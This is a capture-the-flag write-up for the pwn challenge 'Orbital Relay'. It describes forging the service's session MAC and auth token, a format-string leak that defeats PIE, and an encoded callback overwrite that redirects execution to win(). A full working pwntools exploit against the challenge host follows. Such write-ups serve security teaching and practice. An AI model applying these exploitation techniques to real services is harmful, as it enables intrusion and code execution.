←
$ Pwn: Orbital Relay
Flag: BITSCTF{0rb1t4l_r3l4y_gh0stfr4m3_0v3rr1d3}Main Points
- The service enforces a framed protocol with a session MAC, but the MAC algorithm is recoverable and reproducible.
chan=1diagnostics TLV parsing contains two dangerous behaviors:
tag=0x10: attacker-controlled bytes are decrypted into global bufferst.tag=0x40: callsprintf(st, st, st128, keep_win)using attacker-controlledstas format string (format string vulnerability).
- The format string leaks a code pointer (
keep_win/win), defeating PIE at runtime. tag=0x31allows settingcb_encto an attacker-controlled 8-byte value.- On
chan=9, if state checks pass, the program decodescb_encand indirectly calls it. - By writing encoded
winintocb_enc, execution is redirected towin(), which printsflag.txt.
Vulnerable Logic (High Level)
- Authenticate via
chan=3with correct token. - Raise state via TLV
0x22(set level > 2). - Use TLV
0x10to place format string inst, then TLV0x40to triggerprintf(st, ...)and leak pointer. - Use TLV
0x31to place encoded callback value. - Send
chan=9teardown frame to trigger decoded callback call.
Exploit Strategy
- Handshake with
SYNCv3?, receivesess. - Recompute protocol MAC for all frames.
- Send valid auth token on
chan=3. - Send diagnostic TLVs:
0x22with value0x03(state gate pass)0x10with encrypted%p.%p.%p0x40trigger
- Parse leak and recover runtime
winaddress. - Encode raw value for
cb_encsoenc_cb(cb_raw) == win_addr. - Send TLV
0x31withcb_raw. - Send
chan=9frame to executewin().
Result
- Recovered flag:
BITSCTF{0rb1t4l_r3l4y_gh0stfr4m3_0v3rr1d3}
Main Program (pwntools)
#!/usr/bin/env python3
from pwn import *
import re
context.binary = ELF('./orbital_relay', checksec=False)
context.log_level = 'info'
HOST = '20.193.149.152'
PORT = 1339
C64 = 0x9E3779B97F4A7C15
INIT_ST132 = 0x28223B24
def rol32(x, r):
return ((x << r) | (x >> (32 - r))) & 0xFFFFFFFF
def mix32(x):
x &= 0xFFFFFFFF
a = ((x << 13) & 0xFFFFFFFF) ^ x
b = (a >> 17) ^ a
c = ((b << 5) & 0xFFFFFFFF) ^ b
return c & 0xFFFFFFFF
def kbyte(key, i):
return mix32((key + ((i & 0xFFFF) * 0x045D9F3B)) & 0xFFFFFFFF)
def mac32(sess, chan, flags, payload):
acc = ((chan & 0xFF) << 16) ^ (sess & 0xFFFFFFFF) ^ (flags & 0xFF) ^ 0x9E3779B9
acc &= 0xFFFFFFFF
for b in payload:
acc = rol32(acc, 7) ^ (b + 0x3D)
acc &= 0xFFFFFFFF
return acc
def frame(sess, chan, flags, payload):
m = mac32(sess, chan, flags, payload)
return p8(chan) + p8(flags) + p16(len(payload)) + p32(m) + payload
def enc_tag10(plain, st128, st132):
key = st128 ^ st132
out = bytearray()
for i, b in enumerate(plain):
out.append(b ^ (kbyte(key, i) & 0xFF))
return bytes(out)
def parse_win_ptr(blob):
ptrs = re.findall(rb'0x[0-9a-fA-F]+', blob)
if len(ptrs) < 3:
return None
return int(ptrs[2], 16)
def solve(io):
io.send(b'SYNCv3?')
sess = u32(io.recvn(4))
log.info(f'sess=0x{sess:08x}')
st128 = mix32(0x3B152813)
token = mix32(INIT_ST132 ^ sess) ^ 0x31C3B7A9
io.send(frame(sess, 3, 0, p32(token & 0xFFFFFFFF)))
fmt = b'%p.%p.%p'
tlv = b''
tlv += p8(0x22) + p8(1) + b'\\x03'
tlv += p8(0x10) + p8(len(fmt)) + enc_tag10(fmt, st128, INIT_ST132)
tlv += p8(0x40) + p8(0)
io.send(frame(sess, 1, 0, tlv))
leak_blob = io.recvline(timeout=2) or b''
log.info(f'leak_blob={leak_blob!r}')
win_addr = parse_win_ptr(leak_blob)
if win_addr is None:
raise ValueError('failed to leak win address')
log.success(f'win=0x{win_addr:x}')
mask = (((st128 & 0xFFFFFFFF) << 32) | INIT_ST132) & 0xFFFFFFFFFFFFFFFF
cb_raw = (win_addr ^ mask ^ C64) & 0xFFFFFFFFFFFFFFFF
tlv2 = p8(0x31) + p8(8) + p64(cb_raw)
io.send(frame(sess, 1, 0, tlv2))
io.send(frame(sess, 9, 0, b''))
data = io.recvrepeat(2)
return data
if __name__ == '__main__':
if args.LOCAL:
io = process('./orbital_relay', stdin=PIPE, stdout=PIPE, stderr=PIPE)
else:
io = remote(HOST, PORT)
out = solve(io)
print(out.decode('latin-1', errors='ignore'))
io.close()Usage
- Local:
./exploit.py LOCAL - Remote:
./exploit.py